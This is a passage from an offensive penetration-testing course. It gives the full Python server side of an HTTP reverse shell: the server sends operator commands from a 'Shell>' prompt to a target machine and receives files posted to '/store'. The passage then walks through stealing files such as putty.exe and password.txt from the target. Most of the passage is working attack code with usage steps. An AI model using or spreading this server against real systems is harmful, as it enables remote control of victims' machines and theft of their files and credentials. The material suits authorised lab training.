Now, on the server side, we've imported a new library called cgi. This one is used to handle the received file and store it locally. The following is the server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# HTTP Data Exfiltration Server
import BaseHTTPServer
import os, cgi
HOST_NAME = '10.0.2.15'
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
command = raw_input("Shell> ")
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(command)
def do_POST(s):
# Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL
# then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we
# will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion
if s.path == '/store':
try:
ctype, pdict = cgi.parse_header(s.headers.getheader('content-type'))
if ctype == 'multipart/form-data' :
fs = cgi.FieldStorage( fp = s.rfile,
headers = s.headers,
environ={ 'REQUEST_METHOD':'POST' }
)
else:
print "[-] Unexpected POST request"
fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file'
# to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file'
with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt'
o.write( fs_up.file.read() )
s.send_response(200)
s.end_headers()
except Exception as e:
print e
return # once we store the received file in our file holder, we exit the function
s.send_response(200)
s.end_headers()
length = int(s.headers['Content-Length'])
postVar = s.rfile.read(length )
print postVar
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
If we receive a POST with a /store in the URL and the content type as multipart/form-data, it means that we'll get a file from the target machine, not the usual command output. Then, we need to pass the received file, headers, and REQUEST_METHOD to the FieldStorage class. The returned value of FieldStorage can be indexed like a Python dictionary, where we have a key and a corresponding value. For instance, if we create a Python dictionary called D with a key K and value v as follows:
To get the value, v , we just need to have the corresponding key, K. On the client side, when we submitted the file, we attached a tag or key called files ='file'. So, we will use this tag or key on the server side to receive that file. The FieldStorage will grab the keys and its values and store them in an object called fs. But we're only interested in the value of file, which is the tag or key that contains the actual file we sent. Once we get that value, we will write it into a placeholder called 1.txt. In the end, we exit the function to prevent any mix-up with ongoing file transfer posts.
To initiate the file transfer, perform the following steps:
- Run the code the usual way on both machines (Run | Run Module)
- Once we get the Shell>, proceed to perform a directory search with the dir command and try to grab a file, say putty.exe, by running the grab command, grab*putty.exe
- Once we get the file on our server machine, rename the placeholder to putty.exe and verify that we have putty.exe running fine without any file corruption. This can be done by executing the following from the Command Prompt:
wine putty.exe
- Go back to the shell and grab another file, say password.txt, just to test it.
- Check whether you can read the contents after renaming the placeholder
- Try to grab a non-existing file; you'll be presented with an error since it does not exist in the first place